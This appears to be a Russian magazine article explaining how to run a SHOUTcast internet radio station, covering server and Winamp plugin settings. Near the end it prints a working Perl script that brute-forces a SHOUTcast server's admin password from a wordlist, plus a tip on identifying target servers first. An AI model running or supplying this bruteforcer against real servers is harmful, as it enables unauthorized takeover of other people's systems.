Как сделать свое сетевое радио?

Краткое руководство для продвинутых меломанов

Каждый человек, мало-мальски знакомый с Сетью, знает, что в ней возможно все. Там можно быть кем хочешь. И делать то, что тебе нравится. Никто ничего запрещает. Правда, каждый использует эту свободу по-своему. Кто-то работает и учится, кто-то крутит в чатах виртуальную любовь. Кто-то взламывает сайты, кто-то рассылает спам. Ну а я, потакая собственным меломанским наклонностям, воспользовался предоставленной свободой для того, чтобы осуществить свою давнюю мечту. Я стал радио-диджеем!

Развеем мифы…

Почти все юзеры почему-то уверены в том, что запуск своего сетевого радио требует немалых финансовых вложений. На самом деле это не совсем верно. Куча денег тебе понадобится только в том случае, если ты мечтаешь о серьезной раскрутке и широкой аудитории, состоящей из нескольких тысяч радиослушателей. Если же ты согласен ограничиться вещанием на небольшой круг друзей и знакомых, то запуск своего «радио-с-танцами» не будет стоить тебе ни копейки. Почему? Ну, во-первых, потому что никакого специального оборудования тебе не потребуется. Во-вторых, специализированный, а потому жутко дорогой софт также не нужен. Если подумать, то для запуска сетевого радио тебе жизненно необходимы всего-навсего две вещи: персональный компьютер и… вот эта статья в твоем любимом журнале :).

А что у нас с трафиком?

Чтобы ответить на этот вопрос, нам потребуется знание математики за третий класс начальной школы. Но я уверен, что мы справимся. Итак, давай считать. К примеру, ты собираешься вещать с битрейтом 24 Кбит в секунду. Для обеспечения прогрессивной музыкой десяти пользователей тебе понадобится передавать 24*10 = 240 Кбит в секунду. Вывод: для полноценного радиовещания нужен широкий канал доступа в Сеть. Увы, такова объективная реальность. По модему на 56 Кбит/c ты сможешь вещать только для пары друзей, причем главным номером твоей программы сразу станет песня «Опять дисконнект». Другое дело, если ты запускаешь радио у себя в локальной сети. Тогда насчет огромного трафика можно не париться и сразу готовить машину к установке софта, необходимого начинающему диджею.

Софтверный набор

К счастью, с программным обеспечением у тебя проблем не будет. Об этом позаботилась всемирно известная компания NullSoft (знакомая тебе по плееру WinAMP), которая специально для этого дела выпустила в свет набор программ для потокового вещания. С помощью этого набора можно замутить радиостанцию как в локальной сети, так и в глобальной. Разницы никакой.

Однако, как говорят французы, давай-ка ближе к телу. Для организации сетевого фурора тебе понадобятся: SHOUTcast Server и SHOUTcast DSP Plug-in for WinAMP 2.x. Кроме того, присутствие самого WinAMP’a версии 2.x или новомодного 5.x строго обязательно (Внимание! Третий WinAMP этот плагин почему-то не любит). Стоит отметить, что программы имеют малый размер (263 Кб и 224 Кб соответственно) и совершенно бесплатны. SHOUTcast Server необходим для передачи данных в массы, т.е. твоим слушателям. SHOUTcast DSP Plug-in играет роль виртуального моста между плеером и сервером.

Хижина двух вышеперечисленных инструментов расположилась на www.shoutcast.com. Что примечательно: разработчики не забыли о людях, которые не держат окошки у себя на харде. Поэтому, кроме виндовой версии обеих тулз, на сайте также выложены версии для Linux, FreeBSD и MacOS. Я тестировал софт в операционной системе Windows XP. Багов в работе программ не замечено, за что ребятам из NullSoft мой низкий поклон.

Пошло-поехало!

Скачав и установив софт, нужно плавно переходить к настройке. И первым под нож пойдет SHOUTcast Server. Для начала вспомни, куда ты приказал его установить (папка по дефолту: C:\Program Files\SHOUTcast). Вспомнил? Тогда найди файл sc_serv.ini и открой его любым текстовым редактором. В этом файле можно настроить множество параметров, но мы подробно рассмотрим только жизненно важные.

MaxUser= — здесь можно задать максимальное количество слушателей. Цифра зависит от ширины твоего канала.

Password= — сервер допускает удаленное администрирование, причем отключить эту фишку нельзя, поэтому здесь можно и нужно задать пароль. При этом учти, брутфорсеры не спят!

Port Base= — указывай порт своего компа, через который будет вестись вещание. Порт по умолчанию — 8000. Лучше всего это значение и не менять.

Так, с настройками сервера разобрались. Лихо мы, да? Переходим к настройке плагина. Он у тебя уже установлен? Тогда запускай WinAMP и нажми ctrl+p (или Options — Preferences). Ищи в списке пункт Plugins — DSP/Effect и выбирай справа Nullsoft SHOUTcast Source DSP. На экран выскочит окошко с четырьмя вкладками.

Первую закладку (Main) трогать не нужно. А вот на закладке Output будь внимателен! При нажатой кнопке Connection у тебя должны быть доступны следующие параметры для настройки:

Connect at Startup – если эта опция активна, плагин будет автоматически связываться с сервером при запуске. Рекомендую активировать эту фишку.

В поле Address указываем IP компа, на котором установлен сервер. Стоит отметить, что сервер и плеер могут находиться на разных машинах. Т.е., к примеру, сервер можно установить на машине с выделенкой и бесплатным трафиком, а рулить им из дома. Если обе проги установлены на одной машине, то оставь в этом поле запись по умолчанию (localhost).

Port — помнишь порт, который ты указывал при настройке сервера? Впиши сюда то же значение.

Automatic Reconnection on Connection Failure – отметив эту опцию, ты добьешься того, что связь с сервером будет автоматически восстанавливаться после дисконнекта.

Reconnection TimeOut – величина задержки перед следующей попыткой связи с сервером. Оставь как есть.

Справился? Теперь кликаем по кнопке с надписью Yellow Pages и задумчиво чешем репу, стимулируя воображение. Дело в том, что сейчас плагин предлагает нам вписать различную инфу о станции, а именно: ее название (поле Description), адрес станции (URL), канал станции на просторах IRC, жанр, в котором идет вещание (Genre), аську или AIM диджея.

В нижней части ты можешь активировать отображение информации о песне из тегов файла, отметив галочкой чекбокс Enable Title Updates, а также решить — публиковать ли инфу о твоей станции в инете. С этим я бы не торопился. При вещании в локалке опцию Make this server public можно вообще не трогать. А при интернет-вещании, перед тем как отметить эту опцию, следует еще раз подсчитать, сколько пользователей и при каком битрейте ты сможешь потянуть, и настроить свой софт соответствующим образом.

На вкладке Encoder ты указываешь битрейт, с которым будет вестись вещание, и режим (моно/стерео). Можно заранее задать до пяти различных условий трансляции, после чего переключаться между ними в зависимости от числа пользователей и скорости соединения.

Вкладка Input предлагает тебе выбрать источник вещания (Input Device). Если кроме музыки в эфире ничего не пойдет — смело выставляй WinAmp (Reccomended). Если же ты будешь работать в эфире с микрофоном или подавать звук из других источников, то твой выбор — Soundcard Input.

Давай разберемся, что тут и как.

Open Mixer — нажав на эту кнопку, ты вызовешь стандартный системный микшер.
Push to Talk — эта кнопка необходима для того, чтобы, не прерывая звучания музыкальной композиции, вывести голос с микрофона в эфир.

Lock — эта кнопка включает залипание клавиши Push to talk.
Music Level — ползунок, задающий уровень громкости воспроизведения основной фонограммы.
BG Music Level – уровень громкости фоновой музыки при речевом эфире.
Mic Level — уровень громкости микрофона.
Fade Time — скорость снижения/нарастания уровня громкости во время перехода из режима в режим.

На деле все происходит следующим образом: у тебя появилась светлая мысль, которую ты хочешь донести до слушателей, поэтому нажимаешь кнопку Push to talk. В это время громкость звучащей музыки понижается до установленного уровня (параметр BG Music Level) с одновременным повышением уровня громкости микрофона (параметр Mic Level). После того как мысль высказана и кнопка Push to talk отпущена, произойдет обратный эффект.

На этом настройку плагина можно считать законченной. Возвращаемся на закладку OutPut и кликаем по Connect. Не работает? А, тогда запусти SHOUTcast Server и кликни Connect еще раз :). Побежали байтики? Могу тебя поздравить — теперь ты радио-DJ!

Раз-раз, проверка!

Проверить работоспособность своего радиосервера легко. Для этого достаточно набрать в браузере адрес компа, на котором он установлен. Вид запроса выглядит так: http://ip-адрес:порт (для примера: http://127.0.0.1:8000). На открывшейся странице ты увидишь информацию, которая была занесена в настройки DSP плагина.

Так, а как быть слушателям? Им для доступа к радиоволнам необходимо лишь войти в меню плеера Add URL (будь то WinAmp или, допустим, Windows Media Player) и ввести все то же — http://ip-адрес:порт. Видишь, как все просто. После этого остается лишь составить музыкальную программу, сообщить друзьям адрес SHOUTcast-сервера, вывесить в локалке объяву, взять в руки микрофон и выйти в эфир.

А можно ли взломать?

Взломать можно все, так как пока в этом мире нет идеальной защиты. Да и человеческий фактор играет не последнюю роль. Но не об этом сейчас речь. Перед тобой код, который позволяет подобрать пароль к административному интерфейсу SHOUTcast-сервера.

#!/usr/bin/perl
# SHOUTcast 1.9.2 (and maybe others) bruteforcer
#
use Socket;
$host = "radio.changeme.net"; # Url SHOUTcast-сервера
$port = 8000; # порт, на котором висит сервер
$word = "wordlist.txt"; # словарик для брутфорса
$check = "200 OK";
open(WRDS,"$word");
until( eof(*WRDS) ){
$pwd = readline(*WRDS);
chomp $pwd;
$sndstr= "GET /admin.cgi?pass=";
$sndstr.= $pwd;
$sndstr.=" HTTP\x2f1.0\r\nUser-Agent\x3a Mozilla 4.5(Compatible)\r\n\r\n\r\n";
socket(C, AF_INET, SOCK_STREAM, 0) || die "cant call socket()!";
connect(C, sockaddr_in( $port, inet_aton($host))) || die "cant connect!";
send(C, $sndstr, length($sndstr) );
do
{
if ($_ =~ m/$check/i){
print " DJs PASSWORD IS : $pwd\n";
close(WRDS);
exit;
}
} while ();
}

Брутфорс реализован на Перле. Его алгоритм прост, как все гениальное: он коннектится к серверу и тихонечко и незаметно начинает подбирать пароль. Если один из паролей, записанных у тебя в wordlist.txt, подойдет, программа выведет его на экран и закончит свою работу.

Самое забавное, что User name админа всегда admin. Поэтому, мой тебе совет, когда будешь вешать пароль на собственную радиостанцию – подумай над ним хорошенько.

Заключение

Не знаю, как ты, а я остался доволен результатом. И с удовольствием бы поделился с тобой ссылкой на свое trance-творение, но я вещаю только для жителей локальной сети, где и сам обитаю. Жаль, конечно, я был бы рад видеть тебя в числе моих постоянных слушателей =). Ведь именно с помощью сетевого радио я перезнакомился в нашем районе со всеми продвинутыми людьми. Желаю тебе, как минимум, добиться такого же результата. Если будут грабли — мыло наверху. Enjoy!

Как завлечь слушателей

Раскрутка сетевого радио ничем не отличается от раскрутки сетевого ресурса. Но если для ресурса в первую очередь важны дизайн и контент, то радио характеризуется музыкой, которая звучит в радиоэфире. Учитывая народную мудрость, которая скептически оценивает результаты погони сразу за двумя зайцами, стоит подумать о том, чтобы крутить на новой станции музыку определенного стиля, а не «всего понемножку».

Ресурсы на просторах WWW

В Сети можно найти все, что хочешь. Эта подборка сайтов — лишнее тому подтверждение.
www.russianseattle.com/radio_r.htm — крупнейший каталог
www.etop.ru/catalog/28013.html — огромное количество ссылок на радиоресурсы в Сети, в том числе и на радиокаталоги
http://guzei.com/live/radio — крупный каталог русских радиоресурсов. Есть возможность добавления собственной радиостанции

Тип — INFO

Прежде чем начинать усиленно подбирать пароль с помощью брутфорса, нужно удостовериться, что вещание ведется именно с помощью SHOUTcast-сервера :). Сделать это можно, набрав в строке браузера http://ip-сервера:порт. Веб-интерфейс выдает программу с головой – его нельзя изменить, он генерируется самой программой.

Тип — WWW

Плагин shoutcast-dsp-1-8-2b не поддерживает передачу кириллических шрифтов в ID3-тегах. На сайте www.soundcoder.com в разделе «FAQ по SHOUTcast» есть ссылка на патч, позволяющий решить эту проблему. На том же сайте можно найти дополнительную информацию на тему организации потокового вещания.

Добавить комментарий

Ваш e-mail не будет опубликован.

Этот сайт использует Akismet для борьбы со спамом.Узнайте как обрабатываются ваши данные комментариев.